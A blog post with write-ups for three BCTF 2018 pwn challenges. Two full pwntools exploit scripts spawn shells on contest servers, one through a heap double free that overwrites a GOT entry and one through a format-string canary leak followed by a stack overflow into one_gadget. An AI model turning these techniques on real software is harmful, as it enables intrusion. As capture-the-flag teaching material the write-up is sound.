Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

BCTF 2018 pwn writeup

easiest

通过double free修改got项到程序中的getshell函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# coding=utf-8
from pwn import *

def Add(p, idx, size, content):
p.sendlineafter('delete \n', str(1))
p.sendlineafter('(0-11):', str(idx))
p.sendlineafter('Length:', str(size))
p.sendlineafter('C:', content)


def Delete(p, idx):
p.sendlineafter('delete \n', str(2))
p.sendlineafter('(0-11):', str(idx))


def pwn():
BIN_PATH = './easiest'
DEBUG = 1
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('39.96.9.148', 9999)
elf = ELF(BIN_PATH)
context.log_level = 'debug'


Add(p, 0, 0x68, 'sunichi')
Add(p, 1, 0x68, 'sunichi')

Add(p, 2, 0x100, 'sunichi')
Add(p, 3, 0x100, 'sunichi')

Delete(p, 0)
Delete(p, 1)
Delete(p, 0)
Delete(p, 2)

Add(p, 0, 0x68, p64(0x602045))
Add(p, 1, 0x68, 'sunichi')
Add(p, 2, 0x68, 'sunichi')
payload = '\x00\x00\x00' + p64(0x400946) * 6
Add(p, 3, 0x68, payload)

gdb.attach(p)
raw_input()
p.interactive()
p.close()


if __name__ == '__main__':
pwn()

hardcore_fmt

利用%a泄漏mmap的地址,然后通过向前偏移泄漏canary,接着通过one_gadget(同样通过前向偏 移计算libc基地址)拿到shell。 本地和服务器偏移不一致,需要轻度爆破。

C99 %a:Hexadecimal floating point, lowercase. (-0xc.90fep-2)

后来调试了一下,输出的地址是在printf_chk执行过程中压入到栈中的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# coding=utf-8
from pwn import *

def pwn():
BIN_PATH = './hardcore_fmt'
DEBUG = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
f = open('/proc/'+str(pidof(p)[0])+'/maps')
data = f.read().split('\n')
f.close()
for j in data:
if 'hardcore_fmt' in j:
elf.address = int('0x' + j[0:12], 16)
else:
p = remote('39.106.110.69', 9999)
elf = ELF(BIN_PATH)
libc = ELF('./libc-2.27.so')
context.log_level = 'debug'

if DEBUG == 1:
gdb.attach(p)
raw_input()

p.sendline('%a%2$a%3$a')
p.recvuntil('0x0.0')
p.recvuntil('0x0.0')
recv = p.recv(10) + '00'
if DEBUG == 1:
p.sendline(str(int(recv, 16) - 35800 + 1))
else:
p.sendline(str(int(recv, 16) - 41216 + 0x1000 * 6 + 0x1529))
p.recvuntil(': ')
canary = '\x00' + p.recv(7)

libc_base = int(recv, 16) - 6398208
print hexdump(canary)
print hex(int(recv, 16))
raw_input()
p.sendline('a' * 0x108 + canary + p64(0) + p64(0) + p64(int(recv, 16)) + p64(libc_base + 0x4f322))

p.interactive()
p.close()


if __name__ == '__main__':
pwn()

SOS

原理参考这篇⽂章:https://blogs.msmvps.com/gdicanio/2016/11/17/the-small-string-optimization/ 也是SECCON 2018 CTF的⼀道题的出题点。在C++中,当⼀个string对象较⼩时,为 了优化效率,会将其分配到栈上⽽不是堆上,这样就能栈溢出ROP了,这题⽐较坑的⼀个地⽅是如何结束输⼊。